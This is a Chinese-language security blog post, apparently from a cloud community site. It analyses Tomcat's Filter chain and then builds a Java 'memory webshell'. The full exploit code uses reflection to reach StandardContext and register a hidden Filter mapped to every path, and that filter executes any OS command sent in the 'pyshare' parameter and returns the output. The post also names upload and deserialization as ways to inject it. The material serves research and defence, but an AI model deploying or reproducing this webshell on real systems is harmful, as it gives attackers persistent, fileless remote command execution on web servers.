Filter内存马
  fJTX3vtGfGoC 2023年11月01日 153 0

Filter内存马

0x01Filter机制分析

  • 当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法。
  • 但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法,而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法,FilterChain 对象时通过 Filter.doFilter 方法的参数传递进来的。
  • 只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码,这样就可以在 Servlet 进行响应前后实现某些特殊功能

我们创建一个Filter来进行动态调试

public class Filterdemo1 implements Filter {

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("构造初始化完成");

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("执行了过滤操作");
        filterChain.doFilter(servletRequest,servletResponse);
    }

    @Override
    public void destroy() {
        System.out.println("执行了销毁操作");
    }
}

在filterChain.doFilter(servletRequest,servletResponse);设置断点image-20221128190336172

步入后是执行doFilter方法继续步进

这个时候直接跳到了最后image-20221128190437056

继续步入,发现这个时候我们有个叫做filters的属性,然后里面有两个对象一个是我们自己创建的filterdemo另一个是一个叫tomcat websocket filter的对象,可以从名字中看出来tomcat会自动创建一个filter

image-20221128190554618

看后面有个变量filters

image-20221128191015119

追进去随后出来发现我们拿到的第一个filter使我们的filter继续往下走

image-20221128191039929

image-20221128191829179

随后调用了doFilter方法

image-20221128192023318

继续往下走随后又回到了开始的地方

image-20221128192147174

这个时候pos就等于2了代表我们拿到就是Tomcat WebScoket

image-20221128192453831

步入到后面就调用了servlet的service方法

image-20221128192617084

总体来说

执行的顺序就是那个filter链子然后tomcat会自动的再后面调用Tomcat自带的filter就会调用到serlvet

0x02Filter写马分析

​ 分析之前先确定一下我们的目的我们的目的是写一个filter马,所以要去搞定怎么用我们传入的参数去创建一个filter

0x1创建filter

image-20221128201610243

这些invoke是执行函数我们在最远的地方设置一个断点然后一步往前走发现,

我们看到现在的类是 StandardEngineValve,对应的 Pipeline 就是 EnginePipeline;它进行了 invoke() 方法的调用,这个 invoke() 方法的调用的目的地是 AbstractAccessLogValve 类的 invoke() 方法。其实这一步已经安排了一个 request, wrapper, servlet 传递的顺序。然后就网上一直调用

这里用个师傅的图:

image-20221128203325788

随后我们看dofilter是怎么调用的

看到我们的FilterChain是怎么创建的

image-20221128210116586

image-20221128210105371

在这里是先判断了 FilterMaps 是否为空,若为空则会调用context.findFilterMaps()StandardContext寻找并且返回一个FilterMap数组。看后面的构造

image-20221128210318282

遍历StandardContext.filterMaps得到filter与URL的映射关系并通过,然后通过一系列的匹配把它加入到StandardContext.filterConfigs随后调用findFilterConfig把这个数据加入到filter链里面去

image-20221128210648474

0x2构造分析

流程很清晰,Tomcat会通过invoke方法创建一个filterchain然后doFilter() —-> internalDoFilter() —-> doFilter()这样执行一个doFilter判断一次,最后一个会跳到servlet.service(),

然后filter的创建思路是

我们攻击的思路就是 createFilterChain() 这个方法会判断filterMaps是否为空,如果是空的话回去StandardContext寻找并且返回一个FilterMap数组,遍历StandardContext.filterMaps得到filter与URL的映射关系然后用matchDispatcher()``matchFilterURL()方法进行匹配,匹配成功后,还需判断StandardContext.filterConfigs中,是否存在对应filter的实例,当实例不为空时通过addFilter方法,将管理filter实例的filterConfig添加入filterChain对象

这样说下来就是我们要解决两个点一个是filtermaps,和filterconfigs都要加入我们构造的filter

而这个 filterMaps 中的数据对应 web.xml 中的 filter-mapping 标签,对应的是名字和映射路径,然后就是想办法给它加数据了

然后在类StandardContext 里面有这两个方法可以直接加进去这个数据

image-20221128212025328

这里的改filtermaps就是更改webxml里面的配置看一下

StandardContext 这个类是一个容器类,它负责存储整个 Web 应用程序的数据和对象,并加载了 web.xml 中配置的多个 Servlet、Filter 对象以及它们的映射关系。

里面有三个和Filter有关的成员变量:

filterMaps变量:包含所有过滤器的URL映射关系 

filterDefs变量:包含所有过滤器包括实例内部等变量 

filterConfigs变量:包含所有与过滤器对应的filterDef信息及过滤器实例,进行过滤器进行管理

filterConfigs 成员变量是一个HashMap对象,里面存储了filter名称与对应的ApplicationFilterConfig对象的键值对,在ApplicationFilterConfig对象中则存储了Filter实例以及该实例在web.xml中的注册信息。

存在的包含关系

image-20221129123202633

filterDefs 成员变量成员变量是一个HashMap对象,存储了filter名称与相应FilterDef的对象的键值对,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据

filterMaps 中的FilterMap则记录了不同filter与UrlPattern的映射关系

0x03exp构造

这里我怎么去动态的写入马呢

  • 先去获取StandardContext

    • 获取filterConfigs
  • 构造恶意的filter

    • 构造一个filterDef
    • FilterMaps对象
  • 然后把filter,filterDef,FilterMaps都传入到filterConfigs中

    0x1获取StandrdContext

    ServletContext servletContext = req.getServletContext();
                ApplicationContextFacade contextFacade = (ApplicationContextFacade) servletContext;
                Field applicationContextField = ApplicationContextFacade.class.getDeclaredField("context");
                applicationContextField.setAccessible(true);
                ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(contextFacade);
                Field field = ApplicationContext.class.getDeclaredField("context");
                field.setAccessible(true);
                StandardContext standardContext = null;
                standardContext = (StandardContext) field.get(applicationContext);
                Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
                filterConfigs.setAccessible(true);
                Map configs = (Map) filterConfigs.get(standardContext);
    

    解释一下:在tomcat中ServletContext的实现是ApplicationContext。在Web应用中,获取的ServletContext实际上是ApplicationContextFacade的对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,。

    拿的顺序就是ServletContext----ApplicationContextFacade------ApplicationContext-----StandardContext-----filterConfigs

    image-20221130163350401

    0x2写马

    写马,在dofilter中写

     public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws IOException, ServletException {
                            String cmd;
                            if ((cmd = servletRequest.getParameter("pyshare")) != null) {
                                Process process = Runtime.getRuntime().exec(cmd);
                                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                                        new java.io.InputStreamReader(process.getInputStream()));
                                StringBuilder stringBuilder = new StringBuilder();
                                String line;
                                while ((line = bufferedReader.readLine()) != null) {
                                    stringBuilder.append(line + '\n');
                                }
                                servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                                servletResponse.getOutputStream().flush();
                                servletResponse.getOutputStream().close();
                                return;
                            }
            
    
                        }
    
    

    反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去

    FilterDef filterDef = new FilterDef();
                    filterDef.setFilter(filter);
                    filterDef.setFilterName(name);
                    filterDef.setFilterClass(filter.getClass().getName());
    
                    standardContext.addFilterDef(filterDef);
    
                    FilterMap filterMap = new FilterMap();
                    filterMap.setFilterName(name);
                    filterMap.setDispatcher(DispatcherType.REQUEST.name());
                    filterMap.addURLPattern("/*");
                    /**
                     * 将filtermap 添加到 filterMaps 中的第一个位置
                     */
                    standardContext.addFilterMapBefore(filterMap);
    
                    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
                    constructor.setAccessible(true);
                    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
                    configs.put(name,filterConfig);
    

    0x3完整exp

public class filtershell2 extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            doGet(req,resp);



    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            ServletContext servletContext = req.getServletContext();
            ApplicationContextFacade contextFacade = (ApplicationContextFacade) servletContext;
            Field applicationContextField = ApplicationContextFacade.class.getDeclaredField("context");
            applicationContextField.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(contextFacade);
            Field field = ApplicationContext.class.getDeclaredField("context");
            field.setAccessible(true);
            StandardContext standardContext = null;
            standardContext = (StandardContext) field.get(applicationContext);
            Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
            filterConfigs.setAccessible(true);
            Map configs = (Map) filterConfigs.get(standardContext);
            String name ="white_romm";
            if (configs.get(name)==null){
                Filter filter=new Filter(){
                    @Override
                    public void init(FilterConfig filterConfig) throws ServletException {
                    }
                    @Override
                    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws IOException, ServletException {
                        String cmd;
                        if ((cmd = servletRequest.getParameter("pyshare")) != null) {
                            Process process = Runtime.getRuntime().exec(cmd);
                            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                                    new java.io.InputStreamReader(process.getInputStream()));
                            StringBuilder stringBuilder = new StringBuilder();
                            String line;
                            while ((line = bufferedReader.readLine()) != null) {
                                stringBuilder.append(line + '\n');
                            }
                            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                            servletResponse.getOutputStream().flush();
                            servletResponse.getOutputStream().close();
                            return;
                        }
                    }

                    @Override
                    public void destroy() {

                    }
                };
                FilterDef filterDef = new FilterDef();
                filterDef.setFilter(filter);
                filterDef.setFilterName(name);
                filterDef.setFilterClass(filter.getClass().getName());

                standardContext.addFilterDef(filterDef);

                FilterMap filterMap = new FilterMap();
                filterMap.setFilterName(name);
                filterMap.setDispatcher(DispatcherType.REQUEST.name());
                filterMap.addURLPattern("/*");
                /**
                 * 将filtermap 添加到 filterMaps 中的第一个位置
                 */
                standardContext.addFilterMapBefore(filterMap);

                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
                constructor.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
                configs.put(name,filterConfig);



            }
        } catch (IllegalAccessException | NoSuchFieldException e) {
            throw new RuntimeException(e);
        } catch (InvocationTargetException e) {
            throw new RuntimeException(e);
        } catch (NoSuchMethodException e) {
            throw new RuntimeException(e);
        } catch (InstantiationException e) {
            throw new RuntimeException(e);
        }
    }
}

把这个对象打进tomcat然后访问一下我们的servlet的路径shell之后无论在那个路径使用马子都可以pyshare

image-20221201150949956

0x04小结

总结下来就是要去获取StandardContext,然后利用反射的原理往里面注入一个Servlet,表现形式为 Filter。具体的实施可以是上传 .jsp 文件,也可以反序列化注入对象,比如说我们的cc11就可用加载字节码文件把他写到静态代码块中。

【版权声明】本文内容来自摩杜云社区用户原创、第三方投稿、转载,内容版权归原作者所有。本网站的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@moduyun.com

  1. 分享:
最后一次编辑于 2023年11月08日 0

暂无评论

推荐阅读
  5NWiQFAVeqgX   2024年05月17日   26   0   0 网络安全
  pTtIhLb24H2d   2024年05月17日   33   0   0 网络安全
  OKgNPeBk991j   2024年05月18日   44   0   0 网络安全
  rKgO6TN7xbYO   2024年05月17日   36   0   0 网络安全
  5NWiQFAVeqgX   2024年05月17日   46   0   0 网络安全
  5NWiQFAVeqgX   2024年05月17日   33   0   0 网络安全
  YOkriIV1Am1d   2024年05月20日   35   0   0 网络安全
  owpmXY9hzjPv   2024年05月20日   35   0   0 网络安全
  owpmXY9hzjPv   2024年05月20日   36   0   0 网络安全
  owpmXY9hzjPv   2024年05月20日   31   0   0 网络安全